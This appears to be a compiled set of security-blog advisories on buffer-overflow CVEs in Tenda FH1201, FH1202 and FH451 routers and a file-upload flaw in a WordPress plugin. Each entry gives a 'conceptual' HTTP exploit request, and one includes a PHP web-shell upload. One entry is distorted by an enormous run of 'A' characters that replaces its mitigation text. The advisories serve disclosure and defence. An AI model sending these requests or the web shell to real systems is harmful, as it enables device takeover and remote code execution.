Author: Ameeba

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a critical stack-based buffer overflow vulnerability, designated as CVE-2025-7530, in Tenda FH1202 version 1.2.0.14(408). This vulnerability exposes systems to potential compromise and data leakage, posing a significant risk to users. The flaw resides in the fromPptpUserAdd function of the /goform/PPTPDClient file, and the manipulation of the Username argument can trigger it. Given the severity of the impact and the fact that the exploit has been publicized, immediate action is required from users and administrators of affected systems.

Vulnerability Summary

CVE ID: CVE-2025-7530
Severity: Critical (8.8 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH1202 | 1.2.0.14(408)

How the Exploit Works

The vulnerability resides in the fromPptpUserAdd function of the /goform/PPTPDClient file within the Tenda FH1202 firmware. A remote attacker can exploit this vulnerability by sending specially crafted data that manipulates the Username argument within this function. As the Username argument is not properly validated, this input results in a stack-based buffer overflow condition. This overflow can allow the attacker to execute arbitrary code, leading to full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This is a pseudo HTTP POST request to the vulnerable endpoint, carrying a malicious payload that manipulates the Username argument to trigger the buffer overflow:

POST /goform/PPTPDClient?fromPptpUserAdd HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...&password=guest123

In this example, ‘A’ is repeated multiple times to overflow the username buffer. This is a simplified example and actual exploitation would require crafting a payload that leads to arbitrary code execution.

Mitigation Guidance

Users and administrators are strongly encouraged to apply the vendor-provided patch to mitigate this vulnerability immediately. If a patch cannot be applied immediately, implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. These solutions can help detect and block exploitation attempts. It’s also recommended to restrict access to the vulnerable system until the patch is applied to reduce the risk of exploitation.

Overview

A critical vulnerability has been identified in Tenda FH1202 version 1.2.0.14(408). This vulnerability, classified as a stack-based buffer overflow, can lead to potential system compromise or data leakage. It is particularly alarming because it can be exploited remotely, increasing the potential range and impact of attacks. The vulnerability is linked to the function fromNatlimit in the file /goform/Natlimit, and the manipulation of the argument ‘page’ can trigger it.
This discovery is of high interest to both security teams and potential threat actors due to its severity and the widespread use of Tenda products. Therefore, it is crucial that users understand the nature of this vulnerability and take immediate steps to mitigate any potential risks.

Vulnerability Summary

CVE ID: CVE-2025-7529
Severity: Critical, CVSS Severity Score: 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda FH1202 | 1.2.0.14(408)

How the Exploit Works

The vulnerability lies in the ‘fromNatlimit’ function in the file ‘/goform/Natlimit. When the ‘page’ argument is manipulated, it can cause a stack-based buffer overflow. This means that an attacker can flood the buffer with more data than it can handle, which can lead to the overwriting of adjacent memory locations. Consequently, this can allow an attacker to execute arbitrary code and potentially compromise the system or leak data.

Conceptual Example Code

An attacker might exploit the vulnerability through a malicious HTTP request such as:

POST /goform/Natlimit HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "page": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." }

In this conceptual example, the “page” argument is overloaded with an excessive amount of ‘A’ characters, triggering the buffer overflow.

Mitigation

Users of Tenda FH1202 are strongly urged to apply the vendor-provided patch for this vulnerability. In the interim, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as temporary mitigation. Regularly updating and patching systems is crucial in maintaining a strong cybersecurity posture. Additionally, monitoring system logs for unusual activities can aid in early detection of potential exploitation attempts.

Overview

The cybersecurity landscape is constantly evolving with new vulnerabilities being discovered daily. One such critical vulnerability has been found in the Tenda FH1202 1.2.0.14(408) router model, specifically within the /goform/GstDhcpSetSer file. This vulnerability is considered critical due to its potential for remote code execution, which could lead to system compromise or data leakage. The router’s wide usage in both home and business environments underlines the severity of this vulnerability and its potential for widespread damage.

Vulnerability Summary

CVE ID: CVE-2025-7528
Severity: Critical, CVSS Severity Score: 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH1202 | 1.2.0.14(408)

How the Exploit Works

The vulnerability lies in the function fromGstDhcpSetSer of the file /goform/GstDhcpSetSer. The manipulation of the argument ‘dips’ leads to a stack-based buffer overflow. This overflow can result in the execution of arbitrary code due to the corruption of critical data structures. As it is possible to launch the exploit remotely, an attacker can compromise the system without requiring any user interaction.

Conceptual Example Code

A conceptual example demonstrating the exploitation of this vulnerability could look like this:

POST /goform/GstDhcpSetSer HTTP/1.1
Host: target_router_ip
Content-Type: application/x-www-form-urlencoded
dips=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

In the above example, the ‘dips’ argument is manipulated with a long string of ‘A’s causing a buffer overflow.

Mitigation

Tenda has released a patch to address this vulnerability. Users are strongly urged to update their devices to the latest firmware version as soon as possible. For temporary mitigation, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and prevent attempts to exploit this vulnerability. However, these are not long-term solutions, and the device’s firmware should be updated as soon as feasible.

Overview

A critical security vulnerability with a CVSS severity score of 8.8 has been identified in the Tenda FH1202 1.2.0.14(408). This vulnerability, identified as CVE-2025-7527, affects the function fromAdvSetWan in /goform/AdvSetWan. The impact of this vulnerability is significant, potentially leading to system compromise or data leakage. It is worth noting that this vulnerability can be exploited remotely, and the exploit has already been disclosed publicly, leading to an increased risk of potential attacks.
This vulnerability is particularly significant due to the potential severity of its impacts, including the possibility of complete system compromise. This means that an attacker could potentially gain control of an affected system, which could allow for further exploitation, data theft, or even system damage.

Vulnerability Summary

CVE ID: CVE-2025-7527
Severity: Critical (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System Compromise, Data Leakage

Affected Products

Product | Affected Versions

Tenda FH1202 | 1.2.0.14(408)

How the Exploit Works

The CVE-2025-7527 vulnerability stems from insufficient bounds checking on the PPPOEPassword argument in the fromAdvSetWan function of the /goform/AdvSetWan file. An attacker can exploit this vulnerability by sending a specially crafted request to the target device. This request would contain an oversized PPPOEPassword argument, leading to a stack-based buffer overflow. This overflow can corrupt memory, allowing an attacker to execute arbitrary code on the target system.

Conceptual Example Code

Below is a conceptual example of how an attacker might exploit this vulnerability, using an HTTP POST request with an oversized PPPOEPassword argument:

POST /goform/AdvSetWan HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
PPPOEPassword=[insert oversized input here]

Please note that the above is a conceptual example meant for illustration. The actual malicious payload would be tailored to the specific target environment.

Mitigation

Users are advised to apply the vendor patch as soon as it becomes available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems should be configured to block or alert on unusually large PPPOEPassword values.

Overview

This blog post is centered around a critical vulnerability identified as CVE-2025-7506. The vulnerability affects Tenda FH451 1.0.0.9, a popular networking product used by many organizations. This vulnerability, found within the HTTP POST Request Handler component, is of critical nature due to the potential consequences of its exploitation. The impact of a successful exploit can lead to system compromise, data leakage, and other potential broad-scale damages. As such, it is of paramount importance that organizations and individuals utilizing affected versions of this product take immediate steps to secure their systems.

Vulnerability Summary

CVE ID: CVE-2025-7506
Severity: Critical, CVSS Score 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability resides in the fromNatlimit function of the /goform/Natlimit file. Attackers can manipulate the ‘page’ argument to trigger a stack-based buffer overflow. This overflow can then be leveraged to execute arbitrary code, potentially leading to full system compromise. The attack can be initiated remotely without any user interaction, making it especially dangerous.

Conceptual Example Code

Below is a conceptual example of how the vulnerability could be exploited. This is represented in the form of a malicious HTTP POST request.

POST /goform/Natlimit HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
page=AAAAA... {long string of "A" characters intended to overflow the buffer}

This HTTP POST request exploits the vulnerability by sending an extremely long string of “A” characters as the ‘page’ argument. This causes the buffer to overflow, allowing the attacker to execute arbitrary code.

Mitigation Guidance

To mitigate this vulnerability, it is recommended to apply the vendor-supplied patch as soon as possible. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These tools can help detect and block attempts to exploit this vulnerability, adding an extra layer of security to the affected systems.

Overview

A recently discovered vulnerability, CVE-2025-7505, has been classified as critical, affecting Tenda FH451 1.0.0.9 devices. This vulnerability exists within the HTTP POST Request Handler, specifically the frmL7ProtForm function of the file /goform/L7Prot. The flaw can lead to a stack-based buffer overflow, which can potentially result in system compromise or data leakage. This vulnerability is of high importance as it can be exploited remotely, and the exploit details have been disclosed to the public.

Vulnerability Summary

CVE ID: CVE-2025-7505
Severity: Critical; CVSS v3 Score: 8.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

Product | Affected Versions

Tenda FH451 | 1.0.0.9

How the Exploit Works

The vulnerability stems from the manipulation of the ‘page’ argument in the HTTP POST request handler. This manipulation triggers a stack-based buffer overflow condition. Buffer overflow situations are dangerous because they can overwrite memory values, leading to arbitrary code execution. In this case, the threat actor can potentially gain control of the system or access sensitive data.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited:

POST /goform/L7Prot HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
page=<malicious_payload>

In the example above, a threat actor sends a malicious payload as the ‘page’ argument in a POST request to the vulnerable /goform/L7Prot endpoint. The “ would typically be designed to cause a buffer overflow, which could lead to system compromise or data leakage.

Remediation

The most effective remediation for this vulnerability is to apply the vendor’s patch. This patch should address the buffer overflow vulnerability and prevent any potential exploits. In the absence of a patch, or as a temporary measure, organizations can consider implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to identify and block attempts to exploit this vulnerability.

Overview

A newly identified vulnerability, dubbed CVE-2025-7468, poses a significant threat to users of Tenda FH1201 version 1.2.0.14. This vulnerability is especially concerning due to its critical severity and the potential for remote exploitation. The vulnerability resides in the HTTP POST Request Handler component, specifically affecting the function fromSafeUrlFilter. What makes this vulnerability particularly alarming is the fact that the exploit has already been made public, thereby increasing the risk and potential for malicious exploitation.

Vulnerability Summary

CVE ID: CVE-2025-7468
Severity: Critical (8.8 CVSS Score)
Attack Vector: Remote
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH1201 | 1.2.0.14

How the Exploit Works

The vulnerability operates through the manipulation of the ‘page’ argument in the fromSafeUrlFilter function. This manipulation can lead to a buffer overflow condition. Buffer overflow conditions are dangerous because they can allow an attacker to overwrite data in memory, potentially leading to arbitrary code execution. In this case, the attacker can remotely send a specially crafted HTTP POST request targeting the vulnerable function, leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example demonstrating how an attacker might exploit this vulnerability. This does not contain actual exploit code but is intended to illustrate the nature of the vulnerability.
“`http
POST /goform/fromSafeUrlFilter HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
page=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a high-risk vulnerability in the BeeTeam368 Extensions plugin for WordPress. This vulnerability, designated as CVE-2025-6423, allows an attacker to upload arbitrary files without the necessary file type validation. This can potentially lead to a system compromise or data leakage, significantly impacting the security and functionality of WordPress sites using this plugin. Given WordPress’s widespread use and the popularity of the BeeTeam368 Extensions plugin, this vulnerability can potentially affect a substantial number of websites, making it a critical cybersecurity concern.

Vulnerability Summary

CVE ID: CVE-2025-6423
Severity: High (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Subscriber-level access
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

BeeTeam368 Extensions Plugin for WordPress | Up to and including 2.3.5

How the Exploit Works

The vulnerability lies in the handle_submit_upload_file() function, which is responsible for handling file uploads in the BeeTeam368 Extensions plugin for WordPress. This function fails to validate the file type during the upload process. As a result, an attacker with Subscriber-level access can upload arbitrary files to the affected site’s server. This could potentially allow for remote code execution if an attacker uploads a file with malicious code.

Conceptual Example Code

The following HTTP request represents a
conceptual
example of how the vulnerability might be exploited. An attacker could use this to upload a malicious file to the server.

POST /wp-content/plugins/BeeTeam368/upload.php HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Mitigation Guidance

Until the vendor provides a security patch, it is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. These tools can help detect and block malicious file uploads. If a patch becomes available, it should be applied immediately to all systems running the BeeTeam368 Extensions plugin for WordPress. Regularly updating systems and applications to the latest available versions remains the most effective way to protect against known vulnerabilities.

Overview

A critical vulnerability, identified as CVE-2025-7465, has been discovered in Tenda FH1201 version 1.2.0.14, a widely used networking device. This vulnerability can be exploited remotely, creating the potential for system compromise or data leakage. The flaw resides in the HTTP POST request handler, specifically in the fromRouteStatic function of the file /goform/fromRouteStatic. It is essential to address this vulnerability promptly due to its severity and the wide usage of the affected product.

Vulnerability Summary

CVE ID: CVE-2025-7465
Severity: Critical, CVSS Score 8.8
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Tenda FH1201 | 1.2.0.14

How the Exploit Works

The vulnerability arises from improper handling of HTTP POST requests by the fromRouteStatic function in the /goform/fromRouteStatic file. An attacker can exploit this flaw by sending a specially crafted HTTP POST request that contains an overly long ‘page’ argument. This could lead to a buffer overflow, potentially allowing the attacker to execute arbitrary code or cause a denial of service.

Conceptual Example Code

Here’s a hypothetical example of how an attacker might exploit the vulnerability:

POST /goform/fromRouteStatic HTTP/1.1
Host: vulnerable-device
Content-Type: application/x-www-form-urlencoded
page=A*50000

In this example, the ‘page’ argument is filled with 50000 ‘A’ characters, which exceeds the buffer’s capacity and results in a buffer overflow.

Mitigation

The vendor has released a patch to address this vulnerability, and all affected users should apply this fix as soon as possible. Until the patch can be applied, users may also consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation measures. In all cases, it is crucial to monitor network traffic for any signs of exploitation of this vulnerability. It is also recommended to limit access to the affected devices to trusted networks and users, reducing the risk of potential attacks.

Overview

The cybersecurity landscape is continually evolving, and new vulnerabilities are discovered every day. One such critical vulnerability, CVE-2025-7463, has been found in the Tenda FH1201 1.2.0.14. This vulnerability affects the HTTP POST Request Handler in the function formWrlsafeset of the file /goform/AdvSetWrlsafeset. The manipulation of the argument mit_ssid can lead to a buffer overflow, posing severe threats to the security of the system.
The vulnerability is of significant concern as it can be exploited remotely, suggesting that any malicious actor with knowledge of this exploit can compromise the system. Its disclosure to the public further increases the risk of exploitation, making it paramount for users to understand and apply the necessary mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-7463
Severity: Critical (8.8 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda FH1201 | 1.2.0.14

How the Exploit Works

The vulnerability arises from a flaw in the function formWrlsafeset of the file /goform/AdvSetWrlsafeset. The function does not adequately validate the mit_ssid argument, which can be manipulated by an attacker to cause a buffer overflow. This overflow can corrupt data, crash the system, or allow the attacker to execute arbitrary code, leading to a potential system compromise.

Conceptual Example Code

The attacker can exploit this vulnerability by sending a malicious HTTP POST request with an oversized mit_ssid argument, causing a buffer overflow. A conceptual example of this might look as follows:

POST /goform/AdvSetWrlsafeset HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
mit_ssid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (continued until buffer overflow is triggered)

This example is purely conceptual and demonstrates the type of request an attacker might make.

How to Mitigate CVE-2025-7463

Mitigation of this vulnerability requires applying a patch provided by the vendor. If a patch is not immediately available, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation by blocking or alerting on malicious traffic that attempts to exploit this vulnerability. Regularly updating and patching systems is a key defense against such vulnerabilities.